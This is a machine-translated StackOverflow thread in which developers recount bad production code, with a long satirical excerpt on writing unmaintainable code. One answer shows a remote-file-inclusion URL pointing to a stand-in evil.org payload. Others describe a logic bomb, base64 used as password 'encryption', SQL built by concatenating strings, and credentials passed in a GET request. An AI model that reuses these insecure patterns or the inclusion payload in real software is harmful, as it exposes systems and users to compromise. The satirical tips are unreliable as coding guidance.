Какой самый злой код вы когда-либо видели в производственной среде предприятия?[закрыто]

StackOverflow https://stackoverflow.com/questions/434414

  •  10-07-2019
  •  | 
  •  

Вопрос

Какой самый злой или опасный фрагмент кода вы когда-либо видели в производственной среде компании?Я никогда не сталкивался с производственным кодом, который я бы посчитал намеренно вредоносным и злым, поэтому мне очень любопытно узнать, что нашли другие.

Самый опасный код, который я когда-либо видел, — это хранимая процедура, расположенная на расстоянии двух связанных серверов от нашего основного производственного сервера базы данных.Хранимая процедура принимала любой параметр NVARCHAR(8000) и выполняла его на целевом рабочем сервере с помощью команды двойного перехода sp_executeSQL.То есть команда sp_executeSQL выполнила другую команду sp_executeSQL, чтобы перейти к двум связанным серверам.Да, и учетная запись связанного сервера имела права системного администратора на целевом рабочем сервере.

Это было полезно?

Решение

Предупреждение:Впереди длинный страшный пост

Я написал об одном приложении, над которым работал раньше. здесь и здесь.Проще говоря, моя компания унаследовала 130 000 линий мусора из Индии.Приложение было написано на C#;это было кассовое приложение, такое же программное обеспечение, которое кассиры используют за стойкой, когда вы идете в банк.Приложение падало по 40-50 раз в день, и его просто невозможно было переработать в рабочий код.Моей компании пришлось переписать все приложение в течение 12 месяцев.

Почему это приложение злое?Потому что вида исходного кода было достаточно, чтобы свести с ума здравомыслящего человека, а сумасшедшего — с ума.Извращенная логика, использованная при написании этого приложения, могла быть вдохновлена ​​только кошмаром Лавкрафта.Уникальные особенности этого приложения:

  • Из 130 000 строк кода всё приложение содержало 5 классов (без учета файлов форм).Все это были общедоступные статические классы.Один класс назывался Globals.cs и содержал тысячи общедоступных статических переменных, используемых для хранения всего состояния приложения.Эти пять классов содержали в общей сложности 20 000 строк кода, а остальной код был встроен в формы.

  • Вы должны задаться вопросом, как программистам удалось написать такое большое приложение без каких-либо классов?Что они использовали для представления своих объектов данных?Оказывается, программистам удалось заново изобрести половину понятий, которые мы все узнали об ООП, просто объединив ArrayLists, HashTables и DataTables.Мы видели многое из этого:

    • ArrayLists хеш-таблиц
    • Хэш-таблицы со строковыми ключами и значениями DataRow.
    • Списки массивов таблиц данных
    • DataRows, содержащие ArrayLists, содержащие HashTables
    • Списки массивов DataRows
    • ArrayLists из ArrayLists
    • HashTables со строковыми ключами и значениями HashTable
    • ArrayLists of ArrayLists of HashTables
    • Любая другая комбинация ArrayLists, HashTables, DataTables, которую вы только можете придумать.

    Имейте в виду, что ни одна из приведенных выше структур данных не является строго типизированной, поэтому вам придется привести любой загадочный объект из списка к правильному типу.Удивительно, какие сложные структуры данных, подобные Рубу Голдбергу, можно создать, используя только ArrayLists, HashTables и DataTables.

  • Чтобы поделиться примером использования объектной модели, подробно описанной выше, рассмотрим учетные записи:первоначальный программист создал отдельную HashTable для каждого возможного свойства учетной записи:HashTable с именем hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName.Ключи для всех этих хэш -стенков были «|» разделенная строка.Возможные ключи включали «123456|DDA», «24100|SVG», «100|LNS» и т. д.

  • Поскольку состояние всего приложения было легко доступно из глобальных переменных, программисты сочли ненужным передавать параметры методам.Я бы сказал, что 90% методов принимают 0 параметров.Из немногих, которые это делали, все параметры для удобства передавались в виде строк, независимо от того, что представляет собой строка.

  • Функций, свободных от побочных эффектов, не существовало.Каждый метод изменял одну или несколько переменных в классе Globals.Не все побочные эффекты имели смысл;например, один из методов проверки формы имел загадочный побочный эффект расчета переплаты и недоплаты по кредитам для любого счета, который хранился в Globals.lngAcctNum.

  • Хотя форм было множество, ими всеми управляла одна форма:frmMain.cs, который содержал колоссальные 20 000 строк кода.Что сделал frmMain?Все.Он просматривал счета, распечатывал квитанции, выдавал наличные — делал все возможное.

    Иногда другим формам требовалось вызывать методы frmMain.Вместо того, чтобы выносить этот код из формы в отдельный класс, почему бы просто не вызвать код напрямую:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • Для поиска учетных записей программисты сделали что-то вроде этого:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    Каким бы плохим ни было создание невидимой формы для выполнения бизнес-логики, как вы думаете, как форма узнает, какую учетную запись искать?Это легко:форма может получить доступ к Globals.lngAcctNum и Globals.strAcctType.(Кто не любит венгерскую нотацию?)

  • Повторное использование кода было синонимом ctrl-c, ctrl-v.Я нашел 200-строчные методы, скопированные/вставленные в 20 форм.

  • В приложении использовалась странная модель потоков, которую я называю моделью потоков и таймеров:каждая форма, порождающая поток, имела таймер.Каждый создаваемый поток запускал таймер с задержкой 200 мс;как только таймер запустится, он проверит, установил ли поток какое-то магическое логическое значение, а затем прервет поток.Возникшее в результате исключение ThreadAbortException было проглочено.

    Вы могли бы подумать, что увидите этот шаблон только один раз, но я нашел его как минимум в 10 разных местах.

  • Говоря о потоках, ключевое слово «блокировка» в приложении никогда не появлялось.Потоки свободно манипулируют глобальным состоянием, не взяв блокировку.

  • Каждый метод в приложении содержал блок try/catch.Каждое исключение регистрировалось и обрабатывалось.

  • Кому нужно включать перечисления при включении строк, так же просто!

  • Какой-то гений придумал, что к одному и тому же обработчику событий можно подключить несколько элементов управления формой.Как с этим справился программист?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • Тот же гений открыл знаменитый тернарный оператор.Вот несколько примеров кода:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Вот фрагмент кода, демонстрирующий типичное неправильное использование StringBuilder.Обратите внимание, как программист объединяет строку в цикле, а затем добавляет полученную строку в StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • В таблицах не существовало ограничений первичных ключей, индексов или внешних ключей, почти все поля имели тип varchar(50), и 100% полей допускали значение NULL.Интересно, что битовые поля не использовались для хранения логических данных;вместо этого использовалось поле char(1), а символы «Y» и «N» обозначали истину и ложь соответственно.

    • Говоря о базе данных, вот типичный пример хранимой процедуры:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

С учетом всего вышесказанного, самая большая проблема с этим приложением на 130 000 строк заключается в следующем:никаких модульных тестов.

Да, я отправил эту историю в TheDailyWTF, а затем уволился с работы.

Другие советы

Я видел такую ​​функцию шифрования пароля

function EncryptPassword($password)
{
    return base64_encode($password);
}

В системе, принимающей платежи по кредитным картам, мы хранили полный номер кредитной карты вместе с именем, сроком действия и т. д.

Оказывается, это незаконно, что иронично, учитывая то, что в то время мы писали программу для Министерства юстиции.

Это была процедура обработки ошибок в части коммерческого кода:

/* FIXME! */
while (TRUE)
    ;

Я должен был выяснить, почему & "приложение блокируется &".

Комбинация всех следующих «функций» PHP одновременно.

  1. Регистрация глобальных переменных
  2. Переменные Переменные
  3. Включение удаленных файлов и кода через include("http:// ...");
  4. Действительно ужасающие имена массивов/переменных (буквальный пример):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (Я буквально потратил час, пытаясь понять, как это работает, прежде чем понял, что они не так ли та же переменная)

  5. Включите 50 файлов, каждый из которых включает по 50 файлов, и все выполняется линейно/процедурно для всех 50 файлов условными и непредсказуемыми способами.

Для тех, кто не знает переменных переменных:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Теперь предположим, что $x содержит значение из вашего URL-адреса (зарегистрируйте глобальные переменные магии), поэтому нигде в вашем коде не очевидно, с какой переменной вы работаете, потому что все это определяется URL-адресом.

Теперь рассмотрим, что произойдет, если содержимым этой переменной может быть URL-адрес, указанный пользователем веб-сайта.Да, это может не иметь для вас смысла, но при этом создается переменная с именем этого URL-адреса, то есть:

$http://google.com,

за исключением того, что к нему нельзя получить прямой доступ, вам придется использовать его с помощью метода двойного $, описанного выше.

Кроме того, когда пользователь может указать в URL-адресе переменную, указывающую, какой файл включить, есть такие неприятные приемы, как

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

и если эта переменная появится в include($include)

и «evilcode.php» печатает открытый текст своего кода, а PHP ненадлежащим образом защищен, php просто отключится, загрузит evilcode.php и выполнит его от имени пользователя веб-сервера.

Веб-сервер предоставит ему все свои разрешения и т. д., разрешая вызовы оболочки, загрузку произвольных двоичных файлов и их запуск и т. д. и т. п., пока в конце концов вы не задаетесь вопросом, почему у вас в компьютере не хватает места на диске, а в одном каталоге есть 8 ГБ пиратских фильмов с итальянский дубляж, публикуемый в IRC через бота.

Я просто благодарен, что обнаружил это злодеяние до того, как сценарий, запускающий атаку, решил сделать что-то действительно опасное, например собрать чрезвычайно конфиденциальную информацию из более или менее незащищенной базы данных :|

(Я мог бы развлекать dailywtf каждый день в течение 6 месяцев с помощью этой кодовой базы, я не шучу.Жаль, что я обнаружил dailywtf после того, как избежал этого кода)

В основном заголовочном файле проекта от старого программиста на языке COBOL, который необъяснимым образом писал компилятор на C:

int i, j, k;

" Таким образом, вы не получите ошибку компилятора, если забудете объявить переменные цикла. "

Установщик Windows.

Эта статья Как написать неподдерживаемый код охватывает некоторые из самых блестящих техник, известных человечеству.Некоторые из моих любимых:


Новое использование имен для ребенка

Купите книгу для именования детей, и вы никогда не потеряетесь в именах переменных.Фред — чудесное имя, и его легко напечатать.Если вы ищете простые в вводе имена переменных, попробуйте adsf или aoeu, если вы печатаете с клавиатуры DSK.

Творческая орфография

Если вам необходимо использовать описательные имена переменных и функций, напишите их с ошибками.Путем неправильного написания некоторых имен функций и переменных и правильного написания их в других (например, SetPintleOpening SetPintalClosing) мы эффективно исключаем использование методов поиска grep или IDE.Это работает удивительно хорошо.Добавьте интернациональный колорит, написав тори или тори в разных театрах/театрах.

Будьте абстрактными

При именовании функций и переменных активно используйте абстрактные слова, такие как «все», «данные», «дескриптор», «штуки», «делать», «рутина», «выполнить», а также цифры, например:рутинаX48, PerformDataFunction, DoIt, HandleStuff и do_args_method.

капитализация

Произвольно напишите заглавную первую букву слога в середине слова.Например, ComputeRasterHistoGram().

Строчная буква l очень похожа на цифру 1.

Используйте строчную букву l для обозначения длинных констант.например10л чаще принимают за 101, чем 10л.Запретите любые шрифты, которые явно устраняют неоднозначность uvw wW gq9 2z 5s il17|!j oO08 `'" ;,.м нн рн {[()]}.Будь креативным.

Переработайте свои переменные

Везде, где это разрешено правилами области действия, повторно используйте существующие несвязанные имена переменных.Аналогичным образом используйте одну и ту же временную переменную для двух несвязанных целей (с целью экономии слотов стека).Для дьявольского варианта измените переменную, например, присвойте значение переменной в начале очень длинного метода, а затем где-нибудь в середине измените значение переменной тонким способом, например, преобразуя ее из координата от 0 до координаты от 1.Обязательно не документируйте это изменение значения.

Компакт-диск, записанный с vwls и mch trsr

Используя сокращения внутри имен переменных или методов, избавьтесь от скуки, предложив несколько вариантов одного и того же слова и даже время от времени записывая его от руки.Это помогает победить тех ленивых бездельников, которые используют текстовый поиск, чтобы понять только некоторые аспекты вашей программы.Рассмотрите варианты написания как вариант уловки, например.смешивание международного колорита с американским колоритом и чуваковским кулерзом.Если вы пишете имена полностью, существует только один возможный способ написания каждого имени.Их слишком легко запомнить программисту обслуживания.Поскольку существует очень много разных способов сократить слово, с помощью сокращений вы можете иметь несколько разных переменных, которые имеют одну и ту же очевидную цель.В качестве дополнительного бонуса программист поддержки может даже не заметить, что это отдельные переменные.

Непонятные отсылки к фильмам

Используйте имена констант, такие как LancelotsFavouriteColour, вместо синего и присвойте ему шестнадцатеричное значение $0204FB.Цвет на экране выглядит идентично чистому синему, и программисту по обслуживанию придется определить 0204FB (или использовать какой-нибудь графический инструмент), чтобы узнать, как он выглядит.Только тот, кто близко знаком с Монти Пайтоном и Святым Граалем, мог знать, что любимым цветом Ланселота был синий.Если программист по сопровождению не может цитировать по памяти целые фильмы «Монти Пайтон», ему или ей нечего быть программистом.

Документируйте очевидное

Приправьте код комментариями типа /* добавьте 1 к i */, однако никогда не документируйте такие запутанные вещи, как общая цель пакета или метода.

Документ «Как не почему»

Документируйте только детали того, что делает программа, а не то, что она пытается выполнить.Таким образом, в случае возникновения ошибки специалист по исправлению не будет иметь понятия, что должен делать код.

Побочные эффекты

В C функции должны быть идемпотентными (без побочных эффектов).Надеюсь, этой подсказки достаточно.

Используйте восьмеричный

Перетащите восьмеричные литералы в список десятичных чисел следующим образом:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Расширенный ASCII

Расширенные символы ASCII вполне допустимы в качестве имен переменных, включая символы ß, Ð и ñ.Их практически невозможно набрать без копирования/вставки в простом текстовом редакторе.

Имена с других языков

Используйте словари иностранных языков в качестве источника имен переменных.Например, используйте немецкий пункт для обозначения точки.Программисты сопровождения, не владеющие немецким языком, получат удовольствие от мультикультурного опыта расшифровки значения.

Имена из математики

Выбирайте имена переменных, маскирующиеся под математические операторы, например:

openParen = (slash + asterix) / equals;

Код, который маскируется под комментарии и наоборот

Включите разделы кода, которые закомментированы, но на первый взгляд таковыми не кажутся.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Без цветового кодирования вы заметили бы, что три строки кода закомментированы?

Произвольные имена, маскирующиеся под ключевые слова

При документировании, если вам нужно произвольное имя для представления имени файла, используйте «file».Никогда не используйте явно произвольное имя, такое как «Charlie.dat» или «Frodo.txt».В общем, в своих примерах используйте произвольные имена, которые максимально похожи на зарезервированные ключевые слова.Например, хорошими именами для параметров или переменных будут «банк», «пусто», «класс», «константа», «константа», «вход», «ключ», «ключевое слово», «вид», «выход». , «параметр», «парм», «система», «тип», «значение», «вар» и «переменная».Если вы используете настоящие зарезервированные слова для произвольных имен, которые будут отклонены вашим командным процессором или компилятором, тем лучше.Если вы сделаете это хорошо, пользователи будут безнадежно запутаться между зарезервированными ключевыми словами и произвольными именами в вашем примере, но вы можете выглядеть невинно, утверждая, что сделали это, чтобы помочь им связать соответствующую цель с каждой переменной.

Кодовые имена не должны совпадать с экранными именами

Выбирайте имена переменных так, чтобы они не имели абсолютно никакого отношения к меткам, используемым при отображении таких переменных на экране.Например.на экране пометьте поле «Почтовый индекс», но в коде вызовите связанную переменную «zip».

Выбор лучшего оператора перегрузки

В C++ перегрузите +,-,*,/ для выполнения действий, совершенно не связанных со сложением, вычитанием и т. д.В конце концов, если Страустроуп может использовать оператор сдвига для ввода-вывода, почему бы вам не проявить столь же творческий подход?Если вы перегружаете +, убедитесь, что вы делаете это таким образом, чтобы i = i + 5;имеет совершенно другое значение, чем i += 5;Вот пример возведения обфускации оператора перегрузки в высокое искусство.Перегрузить '!' Оператор для класса, но перегрузка не имеет ничего общего с инвертированием или отрицанием.Заставьте его возвращать целое число.Затем, чтобы получить для него логическое значение, вы должны использовать '!!'.Однако это инвертирует логику, поэтому [барабанная дробь] вы должны использовать '!!!'.Не путайте!оператор, который возвращает логическое значение 0 или 1, с побитовым оператором логического отрицания ~.

Исключения

Я открою вам малоизвестный секрет кодирования.Исключения — это боль в спине.Правильно написанный код никогда не дает сбоев, поэтому исключения фактически не нужны.Не тратьте на них время.Исключения подклассов предназначены для некомпетентных людей, которые знают, что их код потерпит неудачу.Вы можете значительно упростить свою программу, имея только одну попытку/вылов во всем приложении (в основном), которое вызывает System.exit().Просто прикрепите совершенно стандартный набор вызовов к каждому заголовку метода, независимо от того, могут ли они на самом деле генерировать какие-либо исключения или нет.

Локации Магической Матрицы

Используйте специальные значения в определенных местах матрицы в качестве флагов.Хорошим выбором является элемент [3][0] в матрице преобразования, используемой с однородной системой координат.

Новый взгляд на слоты Magic Array

Если вам нужно несколько переменных данного типа, просто определите их массив, а затем обращайтесь к ним по номеру.Выберите соглашение о нумерации, известное только вам, и не документируйте его.И не беспокойтесь об определении констант #define для индексов.Всем следует знать, что глобальная переменная widget[15] — это кнопка отмены.Это всего лишь современный вариант использования абсолютных числовых адресов в ассемблерном коде.

Никогда не украшай

Никогда не используйте автоматическое средство очистки исходного кода (улучшение качества), чтобы обеспечить выравнивание кода.Лоббируйте их, чтобы запретить им доступ в вашу компанию на том основании, что они создают ложные дельты в PVCS/CVS (отслеживание контроля версий) или на том основании, что у каждого программиста должен быть свой собственный стиль отступов, который навсегда останется неприкосновенным для любого написанного им модуля.Настаивайте на том, чтобы другие программисты соблюдали эти особые соглашения в «его» модулях.Запретить украшатели довольно легко, даже несмотря на то, что они экономят миллионы нажатий клавиш при ручном выравнивании и дни, потраченные впустую на неверную интерпретацию плохо выровненного кода.Просто настаивайте на том, чтобы все использовали один и тот же упорядоченный формат не только для хранения в общем репозитории, но и во время редактирования.Это запускает ВОЙНУ, и босс, чтобы сохранить мир, запретит автоматическую уборку.Без автоматической очистки вы теперь можете случайно сместить код, чтобы создать оптическую иллюзию того, что тела циклов и if длиннее или короче, чем они есть на самом деле, или что предложения else соответствуют другому if, чем на самом деле.например

if(a)
  if(b) x=y;
else x=z;

Тестирование для трусов

Смелый программист обойдет этот шаг.Слишком многие программисты боятся своего начальника, боятся потерять работу, боятся писем с ненавистью от клиентов и боятся, что на них подадут в суд.Этот страх парализует действия и снижает продуктивность.Исследования показали, что исключение этапа тестирования означает, что менеджеры могут заранее устанавливать даты поставок, что является очевидным подспорьем в процессе планирования.Когда страх исчезнет, ​​инновации и эксперименты могут расцвести.Роль программиста заключается в создании кода, а отладка может выполняться совместными усилиями службы поддержки и группы поддержки устаревших версий.

Если мы полностью уверены в своих способностях кодирования, то в тестировании не будет необходимости.Если посмотреть на это логически, то любой дурак может признать, что тестирование даже не пытается решить техническую проблему, скорее, это проблема эмоциональной уверенности.Более эффективное решение этой проблемы неуверенности — полностью исключить тестирование и отправить наших программистов на курсы самооценки.Ведь если мы решили заняться тестированием, то нам придется тестировать каждое изменение программы, а программистов нам нужно отправить только на один курс по формированию самооценки.Экономическая выгода столь же поразительна, сколь и очевидна.

Отмените обычное соглашение «Истинно-Ложно»

Поменяйте местами обычные определения истинного и ложного.Звучит очень очевидно, но работает отлично.Вы можете скрыть:

#define TRUE 0 
#define FALSE 1

где-то глубоко в коде, чтобы его вытащили из недр программы из какого-то файла, который уже никто никогда не просматривает.Затем заставьте программу выполнять сравнения, например:

if ( var == TRUE )
if ( var != FALSE )

кто-то обязан «исправить» кажущуюся избыточность и использовать var в другом месте обычным способом:

if ( var )

Другой метод — сделать так, чтобы TRUE и FALSE имели одинаковое значение, хотя большинство сочло бы это явным мошенничеством.Использование значений 1 и 2 или -1 и 0 — более тонкий способ сбить людей с толку и при этом выглядеть респектабельно.Вы можете использовать тот же метод в Java, определив статическую константу TRUE.Программисты могут быть более подозрительными, поскольку в Java есть встроенный литерал true.

Эксплуатация шизофрении

Java шизофренична в отношении объявлений массивов.Вы можете сделать это старым способом C, String x[] (который использует смешанную пре-постфиксную нотацию) или новым способом String[] x, который использует чистую префиксную нотацию.Если вы хотите действительно запутать людей, смешивайте обозначения, например.

byte[ ] rowvector, colvector , matrix[ ];

что эквивалентно:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

Я не знаю, назвал бы я код " evil " но у нас был разработчик, который создавал бы массивы Object[] вместо написания классов. Везде.

Я видел (и опубликовал в thedailywtf) код, который даст каждому право иметь права администратора в значительной части приложения по вторникам. Я предполагаю, что оригинальный разработчик забыл удалить код после тестирования локальной машины.

Я не знаю, является ли это " зло " так много, как заблуждение (я недавно опубликовал это на The Old New Thing):

Я знал одного парня, который любил хранить информацию в виде строк с разделителями. Он был знаком с концепцией массивов, как показано, когда он использовал массивы строк с разделителями, но лампочка так и не загорелась.

Кодировка Base 36 для хранения целых чисел в строках.

Я предполагаю, что теория идет примерно так:

  • Шестнадцатеричный формат используется для представления чисел.
  • В шестнадцатеричном формате не используются буквы, кроме F, что означает, что G-Z тратятся впустую.
  • Отходы – это плохо

В данный момент я работаю с базой данных, в которой хранятся дни недели, в которые может произойти событие, в виде 7-битного битового поля (0–127), хранящегося в базе данных в виде двухсимвольной строки в диапазоне от «0». на «3J».

Я помню, как видел обработчик входа в систему, который принял запрос на публикацию и перенаправил его на GET с именем пользователя и паролем, переданными в качестве параметров. Это было для & Корпоративного класса & Quot; медицинская система.

Я заметил это при проверке некоторых журналов - мне очень хотелось послать генеральному директору его пароль.

Действительно злой был этот кусок блестящего кода Delphi:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

Это прекрасно работало, если был только один экземпляр класса. Но, к сожалению, мне пришлось использовать другой экземпляр, и это создало много интересных ошибок.

Когда я нашел эту драгоценность, я не могу вспомнить, упал ли я в обморок или закричал, вероятно, оба.

Может быть, не зло, но, конечно, скорее ... ошибочно.

Однажды мне пришлось переписать & синтаксический анализатор естественного языка " это было реализовано в виде одной строки 5000 если ... ... затем.

как в ...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

Я видел код на сайте ASP.NET MVC от парня, который раньше делал только веб-формы (и является известным копировщиком!), который прикрепил событие щелчка на стороне клиента к тегу <a>, который называется javascript метод, который сделал document.location.

Я пытался объяснить, что тег href на теге <=> будет делать то же самое !!!

Немного зла ... кто-то из моих знакомых записал в основное внутреннее веб-приложение компании ежедневную проверку того, вошел ли он в систему за последние 10 дней. Если нет никаких записей о его входе в систему, это отключает приложение для всех в компании.

Он написал статью, как только услышал слухи об увольнениях, и если он уйдет в отставку, компания должна будет пострадать.

Единственная причина, по которой я об этом знал, это то, что он взял двухнедельный отпуск &. Я позвонил ему, когда сайт прекратился. Он сказал мне, чтобы войти с его именем пользователя / паролем ... и все снова было хорошо.

Конечно .. через месяц мы все были уволены.

Мой коллега любит вспоминать это приложение ASP.NET, которое использовало соединение с базой данных public static для всей работы с базой данных.

Да, одно соединение для всех запросов. И нет, блокировки тоже не было.

Я помню, что мне нужно было настроить IIS 3 для запуска сценариев Perl CGI (да, это было давно). Официальной рекомендацией в то время было поместить Perl.exe в cgi-bin. Это сработало, но также дало всем доступ к довольно мощному скриптовому движку!

Любая RFC 3514 -совместимая программа, которая устанавливает злой бит .

SQL-запросы прямо в JavaScript в приложении ASP. Не может стать грязнее ...

У нас было приложение, которое загрузило все его глобальное состояние в XML-файл. Нет проблем с этим, за исключением того, что разработчик создал новую форму рекурсии.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

